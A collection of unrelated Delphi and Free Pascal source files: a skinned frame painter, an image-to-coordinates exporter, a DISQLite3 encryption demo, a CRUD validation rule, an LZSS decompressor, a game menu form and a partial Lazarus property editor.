OurPaintHandler(TWMPaint(Message).DC);
Ac_NCPaint(ListSW, Frame.Handle, Message.wParam, Message.lParam, -1, TWMPaint(Message).DC); // Scrolls painting
// MoveWindowOrg(DC, 0, 0);
end;
end
else OldWndProc(Message);
WM_NCPAINT : if csDesigning in Frame.ComponentState then OldWndProc(Message) else begin
FCommonData.FUpdating := FCommonData.Updating;
Message.Result := 0;
end;
WM_ERASEBKGND : if (csDesigning in Frame.ComponentState) or not Frame.Showing then OldWndProc(Message) else begin
if not InAnimationProcess then begin
FCommonData.FUpdating := FCommonData.Updating;
if not FCommonData.FUpdating then begin
if not IsCached(FCommonData) or not FCommonData.BGChanged then OurPaintHandler(TWMPaint(Message).DC);
end;
Message.Result := 1;
end;
end
else OldWndProc(Message);
end;
end;
end;
procedure TsFrameAdapter.OurPaintHandler(aDC : hdc);
var
Changed : boolean;
DC, SavedDC : hdc;
R : TRect;
i : integer;
procedure FillBG(aRect : TRect);
begin
FillDC(DC, aRect, GetBGColor(SkinData, 0))
end;
begin
if (aDC <> 0) and (not InAnimationProcess or (aDC = SkinData.PrintDC)) then begin
DC := aDC;
if IsCached(FCommonData) then begin
SavedDC := SaveDC(DC);
FCommonData.Updating := FCommonData.Updating;
if not FCommonData.Updating then begin
FCommonData.BGChanged := FCommonData.BGChanged or FCommonData.HalfVisible;
if SkinData.RepaintIfMoved and (Frame.Parent <> nil) then begin
FCommonData.HalfVisible := not (PtInRect(Frame.Parent.ClientRect, Point(Frame.Left + 1, Frame.Top + 1)));
FCommonData.HalfVisible := FCommonData.HalfVisible or not PtInRect(Frame.Parent.ClientRect, Point(Frame.Left + Frame.Width - 1, Frame.Top + Frame.Height - 1));
end
else FCommonData.HalfVisible := False;
Changed := FCommonData.BGChanged;
if Changed and not FCommonData.UrgentPainting then PrepareCache;
CopyWinControlCache(Frame, FCommonData, Rect(0, 0, 0, 0), Rect(0, 0, Frame.Width, Frame.Height), DC, True);
sVCLUtils.PaintControls(DC, Frame, Changed, Point(0, 0));
SetParentUpdated(Frame);
end;
RestoreDC(DC, SavedDC);
end
else begin
FCommonData.Updating := False;
i := SkinBorderMaxWidth(FCommonData);
R := Rect(0, 0, Frame.Width, Frame.Height);
if aDC <> SkinData.PrintDC then DC := GetDC(Frame.Handle);
try
SavedDC := SaveDC(DC);
ExcludeControls(DC, Frame, actGraphic, 0, 0);
if i = 0 then FillBG(R) { Just fill BG} else begin
if FCommonData.FCacheBmp = nil then FCommonData.FCacheBmp := CreateBmp32(Frame.Width, Frame.Height);
PaintBorderFast(DC, R, i, FCommonData, 0);
InflateRect(R, i, i);
FillBG(R);
end;
RestoreDC(DC, SavedDC);
if i > 0 then BitBltBorder(DC, 0, 0, Frame.Width, Frame.Height, FCommonData.FCacheBmp.Canvas.Handle, 0, 0, i);
PaintControls(DC, Frame, True, Point(0, 0));
if FCommonData.FCacheBmp <> nil then FreeAndNil(FCommonData.FCacheBmp);
finally
if aDC <> SkinData.PrintDC then ReleaseDC(Frame.Handle, DC);
end;
end;
end;
end;
procedure TsFrameAdapter.PrepareCache;
begin
if IsCached(SkinData) then begin
InitCacheBmp(SkinData);
SkinData.FCacheBmp.Width := Frame.Width;
SkinData.FCacheBmp.Height := Frame.Height;
SkinData.FCacheBMP.Canvas.Font.Assign(Frame.Font);
PaintItem(SkinData, GetParentCache(SkinData), False, 0, Rect(0, 0, Frame.Width, Frame.Height), Point(Frame.Left, Frame.Top), SkinData.FCacheBMP, False);
end;
SkinData.BGChanged := False;
end;
end.
|
unit form_Main;
interface
uses
Winapi.Windows, Winapi.Messages, System.SysUtils, System.Variants, System.Classes, Vcl.Graphics,
Vcl.Controls, Vcl.Forms, Vcl.Dialogs, Vcl.ExtCtrls, Vcl.StdCtrls, Vcl.ExtDlgs, form_Settings, form_Resize,
Vcl.Menus, Vcl.ComCtrls;
type
TformMain = class(TForm)
Image1: TImage;
MainMenu: TMainMenu;
Main1: TMenuItem;
LoadImage1: TMenuItem;
Exit1: TMenuItem;
Resize1: TMenuItem;
N1: TMenuItem;
OpenPictureDialog1: TOpenPictureDialog;
StatusBar1: TStatusBar;
Settings1: TMenuItem;
PlacementSetup1: TMenuItem;
OpenDialog1: TOpenDialog;
Export1: TMenuItem;
CoordinatesTXT1: TMenuItem;
SaveDialog1: TSaveDialog;
procedure LoadAndResizeBitmap();
procedure ProcessParametersInfo();
procedure FormCreate(Sender: TObject);
procedure PlacementSetup1Click(Sender: TObject);
procedure LoadImage1Click(Sender: TObject);
procedure Resize1Click(Sender: TObject);
procedure Image1Click(Sender: TObject);
procedure CoordinatesTXT1Click(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
formMain: TformMain;
pdComponent: TPlacementDimensions;
ipImage: TImageParameters;
implementation
{$R *.dfm}
procedure TformMain.FormCreate(Sender: TObject);
begin
ClientHeight:=600+StatusBar1.Height;
ClientWidth:=600;
pdComponent.ComponentX:=0.8;
pdComponent.ComponentY:=1.6;
pdComponent.GapX:=0.2;
pdComponent.GapY:=0.2;
pdComponent.Rotation:=90;
pdComponent.PartNo:='1213282';
ipImage.X:=300;
ipImage.Y:=300;
ipImage.Source:='';
ProcessParametersInfo;
end;
procedure TformMain.Image1Click(Sender: TObject);
begin
LoadAndResizeBitmap;
ProcessParametersInfo;
end;
procedure TformMain.LoadAndResizeBitmap;
var
bTemp: TBitmap;
begin
if Length(ipImage.Source) > 0 then
begin
bTemp:=TBitmap.Create;
bTemp.LoadFromFile(ipImage.Source);
with Image1.Picture.Bitmap do
begin
//FreeImage;
//PixelFormat := pf1bit;
Width := ipImage.X;
Height := ipImage.Y;
PixelFormat := pf1bit;
TransparentMode := tmAuto;
Canvas.CopyMode := cmSrcCopy;
Canvas.FillRect(Rect(0, 0, Width, Height));
Canvas.StretchDraw(Rect(0, 0, Width, Height), bTemp);
end;
bTemp.Free;
end;
end;
procedure TformMain.ProcessParametersInfo;
begin
StatusBar1.Panels[0].Text:= FloatToStr(pdComponent.ComponentX)+', '+
FloatToStr(pdComponent.ComponentY)+', '+
FloatToStr(pdComponent.GapX)+', '+
FloatToStr(pdComponent.GapY)+', '+
IntToStr(pdComponent.Rotation);
StatusBar1.Panels[1].Text:=IntToStr(ipImage.X)+' x '+IntToStr(ipImage.Y)
end;
procedure TformMain.LoadImage1Click(Sender: TObject);
begin
if OpenPictureDialog1.Execute() = true then
begin
ipImage.Source:=OpenPictureDialog1.FileName;
LoadAndResizeBitmap;
end;
end;
procedure TformMain.PlacementSetup1Click(Sender: TObject);
begin
formSettings.ShowModal;
ProcessParametersInfo;
end;
procedure TformMain.Resize1Click(Sender: TObject);
begin
formResize.ShowModal;
ProcessParametersInfo;
LoadAndResizeBitmap;
end;
procedure TformMain.CoordinatesTXT1Click(Sender: TObject);
var
output: TextFile;
X,Y: Integer;
bTemp: TBitmap;
xTemp,yTemp: Extended;
begin
if SaveDialog1.Execute() = True then
begin
AssignFile(output,SaveDialog1.FileName);
Rewrite(output);
bTemp:=TBitmap.Create;
with bTemp do
begin
Height:=round(Image1.Picture.Bitmap.Height/((pdComponent.GapY+pdComponent.ComponentY)/(pdComponent.GapX+pdComponent.ComponentX)));
Width:=Image1.Picture.Bitmap.Width;
PixelFormat := pf1bit;
TransparentMode := tmAuto;
Canvas.CopyMode := cmSrcCopy;
Canvas.FillRect(Rect(0, 0, Width, Height));
Canvas.StretchDraw(Rect(0, 0, Width, Height), Image1.Picture.Bitmap);
end;
for Y := 0 to bTemp.Height-1 do
begin
for X := 0 to bTemp.Width-1 do
begin
if bTemp.Canvas.Pixels[X,Y] = 0 then
begin
xTemp:=
((x+1)*(pdComponent.GapX+(pdComponent.ComponentX/2)))
+
(x*(pdComponent.GapX+(pdComponent.ComponentX/2)));
yTemp:=
((y+1)*(pdComponent.GapY+(pdComponent.ComponentY/2)))
+
(y*(pdComponent.GapY+(pdComponent.ComponentY/2)));
Writeln(output, FloatToStr(xTemp)+';'+
FloatToStr(yTemp)+';'+
IntToStr(pdComponent.Rotation)+';'+
pdComponent.PartNo);
end;
end;
end;
bTemp.Free;
CloseFile(output);
end;
end;
end.
|
{ This example project demonstrates database encryption with DISQLite3. It
implements a tiny database with a hex viewer to monitor how database changes
are reflected in the database file with or without encryption.
To realize database display and the hex viewer, this project uses controls
from the following Open Source libraries:
* VirtualTrees - this powerful treeview component is used to display the
folder tree and the file grids. It is more flexible, uses less memory,
and is much faster than the standard TTreeView.
http://www.soft-gems.net
Visit the DISQLite3 Internet site for latest information and updates:
http://www.yunqa.de/delphi/
Copyright (c) 2006-2007 Ralf Junker, The Delphi Inspiration <delphi@yunqa.de>
------------------------------------------------------------------------------ }
unit DISQLite3_Encryption_Form_Main;
{$I DI.inc}
{$I DISQLite3.inc}
interface
uses
Classes, Controls, Forms, StdCtrls, ComCtrls, ExtCtrls,
VirtualTrees,
DIFileCache, DISQLite3Database, DISQLite3_Encryption_CitiesDB, SysUtils,StrUtils;
type
TfrmMain = class(TForm)
Panel1: TPanel;
Panel2: TPanel;
Splitter1: TSplitter;
vtCities: TVirtualStringTree;
vtHex: TVirtualStringTree;
Panel3: TPanel;
Panel4: TPanel;
pnlLeftButtons: TPanel;
btnNew: TButton;
btnEdit: TButton;
btnDelete: TButton;
pnlRightButtons: TPanel;
lblPassword: TLabel;
edtPassword: TEdit;
btnChangePassword: TButton;
btnRemovePassword: TButton;
btnAddRandom: TButton;
procedure FormCreate(Sender: TObject);
procedure FormDestroy(Sender: TObject);
procedure btnChangePasswordClick(Sender: TObject);
procedure btnRemovePasswordClick(Sender: TObject);
procedure btnDeleteClick(Sender: TObject);
procedure vtCitiesGetText(Sender: TBaseVirtualTree; Node: PVirtualNode; Column: TColumnIndex; TextType: TVSTTextType; var CellText: WideString);
procedure vtHexGetText(Sender: TBaseVirtualTree; Node: PVirtualNode; Column: TColumnIndex; TextType: TVSTTextType; var CellText: WideString);
procedure btnEditClick(Sender: TObject);
procedure vtCitiesNewText(Sender: TBaseVirtualTree; Node: PVirtualNode; Column: TColumnIndex; NewText: WideString);
procedure btnNewClick(Sender: TObject);
procedure btnAddRandomClick(Sender: TObject);
procedure vtCitiesCompareNodes(Sender: TBaseVirtualTree; Node1,
Node2: PVirtualNode; Column: TColumnIndex; var Result: Integer);
private
FDb: TCitiesDatabase;
FHexCache: TDIFileCache;
procedure ChangePassword(const ANewPassword: AnsiString);
procedure RefreshHexView;
procedure ReloadDatabase;
public
{ Public declarations }
end;
var
frmMain: TfrmMain;
const
APP_TITLE = 'DISQLite3' + {$IFDEF DISQLite3_Personal} ' Personal' + {$ENDIF} ': Database Encryption';
implementation
uses
Dialogs,
DISQLite3Api;
{$R *.dfm}
const
DEFAULT_PASSWORD = 'personal';
FILE_NAME = 'Encrypted.db3';
HEX_ROW_SIZE = 16;
type
{ The data type associated with each node of the Cities grid.
It stores a RowID to reference the node's record in the database. }
TNodeData = record
ID: Int64
end;
PNodeData = ^TNodeData;
//------------------------------------------------------------------------------
// TfrmMain Form
//------------------------------------------------------------------------------
procedure TfrmMain.FormCreate(Sender: TObject);
var
Password: String;
begin
Caption := APP_TITLE;
vtCities.NodeDataSize := SizeOf(TNodeData);
edtPassword.Text := DEFAULT_PASSWORD;
FHexCache := TDIFileCache.Create(FILE_NAME, HEX_ROW_SIZE);
{ Create a database component and open the database. }
FDb := TCitiesDatabase.Create(nil);
FDb.DatabaseName := FILE_NAME;
try
FDb.Open;
except
on EFOpenError do
begin
{ If the database does not yet exist, create a new one. }
FDb.CreateDatabase;
// FDb.AddRandomCities(64);
end;
end;
Password := FDb.Password;
{ Load records for display. }
repeat
try
{ Database encryption in DISQLite3 is completely hidden from outside eyes
as well as from the database engine itself. Therefore, even the engine
can detect an encrypted database only by reading from it.
The next line reads from the database. If this results in an error,
prompt for a new password, set the new password and try the reading
again.
This loop continues until the database opens successfully or the user
terminates. }
ReloadDatabase;
RefreshHexView;
Break;
except
on e: ESQLite3 do
if e.ErrorCode = SQLITE_NOTADB then
if InputQuery(APP_TITLE, 'Database encrypted?' + #13#10#13#10 + 'Enter password or cancel to close:', String(Password)) then
begin
FDb.Password := Password;
end
else
begin
Application.Terminate;
Break;
end
else
Break;
end;
until False;
end;
//------------------------------------------------------------------------------
procedure TfrmMain.FormDestroy(Sender: TObject);
begin
FDb.Free;
FHexCache.Free;
end;
//------------------------------------------------------------------------------
{ This function (re-)encrypts the database. It encrypts an unencrypted database
or re-encrypts an encrypted database if the password has changed. For larger
databases, this can take some time to complete since the entire database file
has to be read, decrypted, re-encrypted and written back to disk. }
procedure TfrmMain.ChangePassword(const ANewPassword: AnsiString);
begin
FDb.ReKey(ANewPassword);
FHexCache.Invalidate;
vtHex.Invalidate;
end;
//------------------------------------------------------------------------------
procedure TfrmMain.RefreshHexView;
var
s: TStream;
begin
FHexCache.Invalidate;
s := TFileStream.Create(FDb.DatabaseName, fmOpenRead or fmShareDenyNone);
try
vtHex.RootNodeCount := (s.Size + HEX_ROW_SIZE - 1) div HEX_ROW_SIZE;
finally
s.Free;
end;
vtHex.Repaint;
end;
//------------------------------------------------------------------------------
procedure TfrmMain.ReloadDatabase;
var
Stmt: TDISQLite3Statement;
Node: PVirtualNode;
NodeData: PNodeData;
begin
vtCities.BeginUpdate;
try
vtCities.Clear;
Stmt := FDb.Prepare16('SELECT Idx FROM Cities ORDER BY City;');
try
while Stmt.Step = SQLITE_ROW do
begin
Node := vtCities.AddChild(nil);
NodeData := vtCities.GetNodeData(Node);
NodeData^.ID := Stmt.column_int64(0);
end;
finally
Stmt.Free;
end;
finally
vtCities.EndUpdate;
end;
end;
//------------------------------------------------------------------------------
procedure TfrmMain.btnAddRandomClick(Sender: TObject);
var
i: Integer;
NodeData: PNodeData;
begin
vtCities.BeginUpdate;
try
i := 32;
repeat
NodeData := vtCities.GetNodeData(vtCities.AddChild(nil));
NodeData^.ID := FDb.AddRandomCity;
Dec(i);
until i = 0;
vtCities.Sort(nil, 0, sdAscending);
finally
vtCities.EndUpdate;
end;
RefreshHexView;
end;
//------------------------------------------------------------------------------
procedure TfrmMain.btnNewClick(Sender: TObject);
var
Node: PVirtualNode;
NodeData: PNodeData;
NewRowID: Int64;
begin
NewRowID := FDb.AddCity('New City', 'New Country', -1);
Node := vtCities.AddChild(nil);
NodeData := vtCities.GetNodeData(Node);
NodeData^.ID := NewRowID;
vtCities.ScrollIntoView(Node, False);
vtCities.EditNode(Node, 0);
RefreshHexView;
end;
//------------------------------------------------------------------------------
procedure TfrmMain.btnEditClick(Sender: TObject);
var
Node: PVirtualNode;
begin
Node := vtCities.FocusedNode;
if Assigned(Node) then
begin
vtCities.EditNode(Node, vtCities.FocusedColumn);
end
else
begin
ShowMessage('Please select a record first.');
end;
end;
//------------------------------------------------------------------------------
procedure TfrmMain.btnDeleteClick(Sender: TObject);
var
Node: PVirtualNode;
NodeData: PNodeData;
begin
Node := vtCities.FocusedNode;
if Assigned(Node) then
begin
NodeData := vtCities.GetNodeData(Node);
FDb.DeleteFromCities(NodeData^.ID);
vtCities.DeleteNode(Node, False);
RefreshHexView;
end
else
begin
ShowMessage('Please select a record first.');
end;
end;
//------------------------------------------------------------------------------
procedure TfrmMain.btnChangePasswordClick(Sender: TObject);
var
Password: AnsiString;
begin
Password := edtPassword.Text;
{$IFDEF DISQLite3_Personal}
if Password <> 'personal' then
ShowMessage(
'DISQLite3 Personal includes full database ' + #13#10 +
'encryption, limited to a single password ' + #13#10 +
'named "personal" (all lower case). Any other ' + #13#10 +
'password will automatically be converted' + #13#10 +
'converted to this default.' +
#13#10#13#10 +
'DISQLite3 Personal employs the same strong ' + #13#10 +
'AES encryption algorithm as the full version ' + #13#10 +
'and renders any database file completely ' + #13#10 +
'unrecognizable to any outside observer.' +
#13#10#13#10 +
'The full version of DISQLite3 does not ' + #13#10 +
'enforce any password limits: It accepts any ' + #13#10 +
'password of any length, containing any ' + #13#10 +
'possible ASCII or binary character.');
{$ENDIF DISQLite3_Personal}
ChangePassword(Password);
end;
//------------------------------------------------------------------------------
procedure TfrmMain.btnRemovePasswordClick(Sender: TObject);
begin
ChangePassword('');
end;
//------------------------------------------------------------------------------
procedure TfrmMain.vtCitiesGetText(Sender: TBaseVirtualTree; Node: PVirtualNode; Column: TColumnIndex; TextType: TVSTTextType; var CellText: WideString);
var
CityRec: PCityRec;
NodeData: PNodeData;
begin
NodeData := vtCities.GetNodeData(Node);
CityRec := FDb.GetCity(NodeData^.ID);
if Assigned(CityRec) then
case Column of
0: CellText := CityRec^.City;
1: CellText := CityRec^.Country;
2: CellText := IntToStr(CityRec^.Population);
end;
end;
//------------------------------------------------------------------------------
{ This is called after the user edited a node's cell. We use it to update
the database and refresh the hex-view to reflect the changes. }
procedure TfrmMain.vtCitiesNewText(Sender: TBaseVirtualTree; Node: PVirtualNode; Column: TColumnIndex; NewText: WideString);
var
NodeData: PNodeData;
Stmt: TDISQLite3Statement;
ColName: WideString;
Value: Variant;
begin
case Column of
0: begin ColName := 'City'; Value := NewText; end;
1: begin ColName := 'Country'; Value := NewText; end;
2: begin ColName := 'Population'; Value := StrToInt(NewText); end;
else Exit;
end;
Stmt := FDb.Prepare16('UPDATE Cities SET ' + ColName + '= ? WHERE Idx = ?;');
try
Stmt.bind_Variant(1, Value);
NodeData := vtCities.GetNodeData(Node);
Stmt.bind_Int64(2, NodeData^.ID);
Stmt.Step;
FDb.CitiesCache.InvalidateItem(NodeData^.ID);
finally
Stmt.Free;
end;
RefreshHexView;
end;
//------------------------------------------------------------------------------
procedure TfrmMain.vtCitiesCompareNodes(Sender: TBaseVirtualTree; Node1, Node2: PVirtualNode; Column: TColumnIndex; var Result: Integer);
var
NodeData: PNodeData;
CityRec1, CityRec2: PCityRec;
begin
case Column of
0:
begin
NodeData := vtCities.GetNodeData(Node1);
CityRec1 := FDb.GetCity(NodeData^.ID);
NodeData := vtCities.GetNodeData(Node2);
CityRec2 := FDb.GetCity(NodeData^.ID);
Result := {$IFDEF COMPILER_6_UP}WideCompareText{$ELSE}CompareText{$ENDIF}(CityRec1.City, CityRec2.City);
end;
end;
end;
//------------------------------------------------------------------------------
procedure TfrmMain.vtHexGetText(Sender: TBaseVirtualTree; Node: PVirtualNode; Column: TColumnIndex; TextType: TVSTTextType; var CellText: WideString);
var
Block: PDIFileBlock;
begin
Block := FHexCache.GetBlock(Node^.Index);
if Assigned(Block) then
case Column of
0: CellText := IntToHex(Node^.Index * HEX_ROW_SIZE, 8);
1: CellText := BlockToHex(Block);
2: CellText := BlockToText(Block);
end;
end;
//------------------------------------------------------------------------------
end.
|
unit URegraCRUDPais;
interface
uses
URegraCRUD
,URepositorioDB
,URepositorioPais
,UEntidade
,UPais
;
type
TRegraCRUDPais = class (TRegraCRUD)
protected
procedure ValidaInsercao(const coENTIDADE: TENTIDADE); override;
public
constructor Create ; override ;
end;
implementation
uses
SysUtils
, UUtilitarios
, UMensagens
, UConstantes
;
{ TRegraCRUDPais }
constructor TRegraCRUDPais.Create;
begin
inherited;
FRepositorioDB := TRepositorioDB<TENTIDADE>(TRepositorioPais.Create);
end;
procedure TRegraCRUDPais.ValidaInsercao(const coENTIDADE: TENTIDADE);
var
coPais : TPAIS;
begin
inherited;
coPais := TPAIS(coENTIDADE);
if trim(coPais.NOME) = EmptyStr then
raise EValidacaoNegocio.Create(STR_PAIS_NAO_INFORMADO);
if trim (coPais.SIGLA) = EmptyStr then
raise EValidacaoNegocio.Create(STR_SIGLA_NAO_INFORMADO);
end;
end.
|
unit lzss;
interface
uses
Classes, SysUtils;
const
N = 4096;
F = 18;
TRESHOLD = 2;
type
LZSSSectorHeader = record
original_length1: UInt32;
original_length2: UInt32;
length: UInt32;
end;
TLZSSPackData = record
state: Integer;
i, c, len, r, s: Integer;
last_match_length, code_buf_ptr: Integer;
mask: byte;
code_buf: array [0 .. 16] of byte;
match_position, match_length: Integer;
lson: array [0 .. N] of Integer;
rson: array [0 .. N + 256] of Integer;
dad: array [0 .. N] of byte;
text_byf: array [0 .. (N + F)] of byte;
end;
pLZSSUnpackData = ^TLZSSUnpackData;
TLZSSUnpackData = record
state: Integer;
i, j, k, r, c: Integer;
flags: Integer;
text_byf: array [0 .. (N + F)] of byte;
end;
TLZSS = class
private
fDat: pLZSSUnpackData;
fInIdx: UInt32;
function CreateLZSSUnpackData(): pLZSSUnpackData;
procedure FreeLZSSUnpackData(data: pLZSSUnpackData);
public
function read_sector(stream: TFileStream; var buf: pByte): UInt32;
function unlzss(inp: Pointer; inSize: Integer; outp: Pointer;
outSize: Integer): Integer;
procedure Init();
function LZSSRead(inp: pByte; inSize: Integer; outp: pByte;
outSize: Integer): Integer;
procedure DeInit();
end;
implementation
function TLZSS.read_sector(stream: TFileStream; var buf: pByte): UInt32;
var
hdr: LZSSSectorHeader;
tmp: pByte;
begin
stream.Read(hdr, sizeof(LZSSSectorHeader));
GetMem(tmp, hdr.length);
stream.Read(tmp[0], hdr.length);
GetMem(buf, hdr.original_length1);
unlzss(tmp, hdr.length, buf, hdr.original_length1);
FreeMem(tmp);
result := hdr.original_length1;
end;
function TLZSS.unlzss(inp: Pointer; inSize: Integer; outp: Pointer;
outSize: Integer): Integer;
begin
fDat := CreateLZSSUnpackData();
result := LZSSRead(inp, inSize, outp, outSize);
FreeLZSSUnpackData(fDat);
end;
procedure TLZSS.Init();
begin
fDat := CreateLZSSUnpackData();
end;
procedure TLZSS.DeInit();
begin
FreeLZSSUnpackData(fDat);
end;
function TLZSS.CreateLZSSUnpackData(): pLZSSUnpackData;
var
c: Integer;
begin
New(result);
for c := 0 to (N - F - 1) do
result^.text_byf[c] := 0;
result^.state := 0;
fInIdx := 0;
end;
procedure TLZSS.FreeLZSSUnpackData(data: pLZSSUnpackData);
begin
FreeMem(data);
end;
function TLZSS.LZSSRead(inp: pByte; inSize: Integer; outp: pByte;
outSize: Integer): Integer;
var
outIdx, i, j, k, r, size: Integer;
c: byte;
flags: UInt16;
label pos1, pos2, getout;
begin
outIdx := 0;
i := fDat^.i;
j := fDat^.j;
k := fDat^.k;
r := fDat^.r;
c := fDat^.c;
flags := fDat^.c;
size := 0;
if (fDat^.state = 2) then
goto pos2
else if (fDat^.state = 1) then
goto pos1;
r := N - F;
flags := 0;
while (true) do
begin
flags := flags shr 1;
if ((flags and 256) = 0) then
begin
c := inp[fInIdx];
inc(fInIdx);
if (fInIdx > inSize) then
break;
flags := c or $FF00;
end;
if ((flags and 1) <> 0) then
begin
c := inp[fInIdx];
inc(fInIdx);
if (fInIdx > inSize) then
break;
fDat^.text_byf[r] := c;
inc(r);
r := r and (N - 1);
outp[outIdx] := c;
inc(outIdx);
inc(size);
if (size >= outSize) then
begin
fDat^.state := 1;
goto getout;
end;
pos1 :
end
else
begin
i := inp[fInIdx] and $000000FF;
inc(fInIdx);
if (fInIdx > inSize) then
break;
j := inp[fInIdx];
inc(fInIdx);
if (fInIdx > inSize) then
break;
i := i or ((j and $F0) shl 4);
j := (j and $0F) + TRESHOLD;
for k := 0 to j do
begin
c := fDat^.text_byf[(i + k) and (N - 1)];
fDat^.text_byf[r] := c;
inc(r);
outp[outIdx] := c;
inc(outIdx);
r := r and (N - 1);
inc(size);
if (size > outSize) then
begin
fDat^.state := 2;
goto getout;
end;
pos2 :
end;
end;
end;
fDat^.state := 0;
getout :
fDat^.i := i;
fDat^.j := j;
fDat^.k := k;
fDat^.r := r;
fDat^.c := c;
fDat^.flags := flags;
result := size;
end;
end.
|
unit MainUnit;
interface
uses
System.SysUtils, System.Types, System.Classes,
FMX.Types, FMX.Controls, FMX.Forms, FMX.Graphics, FMX.Controls.Presentation, FMX.StdCtrls,
FMX.Objects, FMX.Layouts, FMX.ImgList, FMX.ListBox,
Forms;
type
TMainForm = class(TBarForm)
BGameBtn: TButton;
SettsBtn: TButton;
ExitBtn: TButton;
Bar: TPanel;
Text1: TText;
Text2: TText;
Text3: TText;
Text4: TText;
Text5: TText;
MuseumBtn: TButton;
AboutBtn: TButton;
barText: TText;
BG: TGlyph;
Logo: TGlyph;
centerLayout: TLayout;
Main: TLayout;
beginLayout: TLayout;
MenuLayout: TScaledLayout;
exitLayout: TLayout;
aboutLayout: TLayout;
museumLayout: TLayout;
settingsLayout: TLayout;
procedure BGameBtnClick(Sender: TObject);
protected
procedure onCreate; override;
end;
var
MainForm: TMainForm;
implementation
{$R *.fmx}
uses
FMX.Dialogs,
GameUnit, ImageManager, SettingsUnit, MuseumUnit, AboutUnit, TextManager, ResourcesManager, SoundManager;
procedure TMainForm.onCreate;
begin
backgrounds:=[BG];
layouts:=[main];
GameForm:=TGameForm.Create(self);
SettingsForm:=TSettingsForm.Create(self);
AboutForm:=TAboutForm.Create(self);
MuseumForm:=TMuseumForm.Create(self);
end;
procedure TMainForm.BGameBtnClick(Sender: TObject);
begin
SM.play(sClick);
case TFmxObject(sender).Tag of
0:GameForm.Show;
1:SettingsForm.Show;
2:MuseumForm.Show;
3:AboutForm.Show;
4:close;
end;
end;
end.
|
unit PASFormatEditor;
{
VirtualDBScroll Package
The MIT License (MIT)
Copyright (c) 2014 Jack D Linke
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in
all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
THE SOFTWARE.
}
{$mode objfpc}{$H+}
{$DEFINE dbgDBScroll}
interface
uses
Classes, SysUtils, FileUtil, Forms, Controls, Graphics, Dialogs, StdCtrls {$ifdef dbgDBScroll}, LazLogger{$endif},
PropEdits, strutils, IDEIntf, GraphPropEdits, typinfo, ComCtrls, db, DBPropEdits;
type
{ TformPASFormatEditor }
TformPASFormatEditor = class(TForm)
btnOK: TButton;
btnCancel: TButton;
Button1: TButton;
Button2: TButton;
Button3: TButton;
cmbFieldType: TComboBox;
cmbFieldNames: TComboBox;
Label1: TLabel;
Label2: TLabel;
Label3: TLabel;
memoFormat: TMemo;
procedure btnOKClick(Sender: TObject);
procedure Button1Click(Sender: TObject);
procedure Button2Click(Sender: TObject);
procedure Button3Click(Sender: TObject);
private
{ private declarations }
public
{ public declarations }
end;
{ TPASFormatEditor }
TPASFormatEditor = class(TClassPropertyEditor)
public
procedure Edit; override;
function GetAttributes : TPropertyAttributes; override;
procedure GetValues(Proc: TGetStrProc); override;
procedure FillValues(const Values: TStringList);
end;
procedure LoadDataSourceFieldss(DataSource: TDataSource; List: TStrings);
var
formPASFormatEditor: TformPASFormatEditor;
implementation
uses
PASVirtualDBScrollBase, PASVirtualDBScrollUtilities;
{$R *.lfm}
{ TformPASFormatEditor }
procedure TformPASFormatEditor.btnOKClick(Sender: TObject);
begin
// Test that the statement is correctly formatted
// If not, set ModalResult := mrNone;
end;
procedure TformPASFormatEditor.Button1Click(Sender: TObject);
var
i : Integer;
begin
for i := 0 to memoFormat.Lines.Count - 1 do
begin
memoFormat.Lines[i] := AnsiReplaceText(memoFormat.Lines[i], #32, #$c2#$b7);
memoFormat.Lines[i] := AnsiReplaceText(memoFormat.Lines[i], #9, ' >');
end;
end;
procedure TformPASFormatEditor.Button2Click(Sender: TObject);
var
i : Integer;
begin
for i := 0 to memoFormat.Lines.Count - 1 do
begin
memoFormat.Lines[i] := AnsiReplaceText(memoFormat.Lines[i], #$c2#$b7, #32);
memoFormat.Lines[i] := AnsiReplaceText(memoFormat.Lines[i], ' >', #9);
end;
end;
procedure TformPASFormatEditor.Button3Click(Sender: TObject);
var
CurrentPos : TPoint;
CurrentLine : String;
begin
CurrentPos := memoFormat.CaretPos;
if (Pos(' ', cmbFieldNames.Text) <> 0) or (Pos(#9, cmbFieldNames.Text) <> 0) then
begin
ShowMessage('No spaces or tabs are allowed in the Field Name');
end
else
begin
CurrentLine := memoFormat.Lines[CurrentPos.y];
Insert('[' + cmbFieldNames.Text + ':' + cmbFieldType.Text + ']', CurrentLine, CurrentPos.x);
memoFormat.Lines[CurrentPos.y] := CurrentLine;
end
end;
{ TPASFormatEditor }
procedure TPASFormatEditor.Edit;
var
formPASFormatEditor: TformPASFormatEditor;
begin
formPASFormatEditor := TformPASFormatEditor.Create(nil);
try
with formPASFormatEditor do
begin
Caption := 'Format Display';
// Place form at mouse position
Left := Mouse.CursorPos.x;
Top := Mouse.CursorPos.y - (Height div 2);
// Set memo text to current property value
memoFormat.Lines := TStrings(GetObjectValue);
cmbFieldNames.Items := FFieldValues;
ShowModal;
if ModalResult = mrOk then
begin
// If user selects OK, set the property to the memo text value
SetPtrValue(memoFormat.Lines);
end;
end;
finally
formPASFormatEditor.Free;
end;
end;
function TPASFormatEditor.GetAttributes: TPropertyAttributes;
begin
Result := [paDialog, paMultiSelect, paValueList, paFullWidthName]; // paValueList OR paReadOnly causes access violation
end;
procedure TPASFormatEditor.GetValues(Proc: TGetStrProc);
var
i : Integer;
begin
try
FFieldValues.Clear;
FillValues(FFieldValues);
finally
end;
//inherited GetValues(Proc);
end;
// procedure LoadDataSourceFields is not exposed in Lazarus 1.2.4, so it's copied
// here and renamed with an extra 's'.
